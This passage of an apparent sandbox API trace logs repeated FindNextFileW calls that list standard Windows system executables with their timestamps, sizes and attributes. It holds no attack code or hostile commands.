ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dcomcnfg.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbf2c800, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbf2c800, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde0beb50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="ddodiag.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbcdff23, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xbbcdff23, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde10a640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2cc00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="Defrag.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb939178, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdb939178, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="DeviceDisplayObjectProvider.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff3a56c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x5ff3a56c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="DeviceEject.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbe32659, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbbe32659, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde17d230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="DevicePairingWizard.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82848ae7, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82848ae7, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde1efe20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="DeviceProperties.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fb9db19, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1fb9db19, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde214810, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="DFDWiz.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936a25bf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936a25bf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936a25bf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dfrgui.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2c2b99, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xbe2c2b99, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xdff65630, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dialer.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9a95e4b, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xa9a95e4b, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xdffb1120, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="diantz.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60e1adc0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x60e1adc0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdffd5b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dinotify.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938917a3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x938917a3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x938b7903, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="diskpart.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c984a5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x13c984a5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe00bb2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="diskperf.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a80986, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93a80986, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93a80986, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x58c00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="diskraid.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8837bef, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xe8837bef, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0369380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="Dism.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd81ea4a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd81ea4a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe0400960, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dispdiag.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f9a6bc8, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f9a6bc8, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe057d720, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="DisplaySwitch.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f6834a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f6834a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6834a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="djoin.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4ae4b2, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee4ae4b2, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe06fa4e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dllhost.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7e2f74, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xed7e2f74, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe07215e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dllhst3g.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x390ff8fb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x390ff8fb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0981470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dnscacheugc.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0a1b160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="doskey.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89abe568, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x89abe568, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe0afe230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dpapimig.exe", cAlternateFileName="")) returned 1 [0025.720] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829eb9e6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x829eb9e6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="DpiScaling.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6e5b99f, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xd6e5b99f, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dpnsvr.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32347214, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x32347214, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c7aff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="driverquery.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67fa17, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6d67fa17, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c2f500, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="drvinst.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f4b6133, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x9f4b6133, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dvdplay.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa21c9e46, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xa21c9e46, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1626950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dvdupgrd.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8366e2b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe8366e2b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe1674b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dwm.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58ecbbdd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x58ecbbdd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe16c0640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x25400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="DWWIN.EXE", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8749092f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8749092f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe17a3710, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x53e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="dxdiag.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a6d10, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93a6d10, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe18d49e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x40c00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="Dxpserver.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe61b0ca, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbe61b0ca, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe18fbae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="Eap3Host.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb012a3c2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb012a3c2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe19204d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="efsui.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d5f61f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x38d5f61f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe1cff830, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="EhStorAuthn.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x836eb2a5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x836eb2a5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1e7c5f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="esentutl.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f2d527a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9f2d527a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9f34769a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="eudcedit.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62761073, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x62761073, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1eef1e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="eventcreate.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09c917, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf09c917, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1f13bd0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="eventvwr.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f129be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0f129be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe1fad8c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="expand.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a9c0d8, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0a9c0d8, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2742770, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="extrac32.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="fc.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="find.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ebf32f5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="findstr.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84092633, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84092633, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe27b5360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="finger.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, 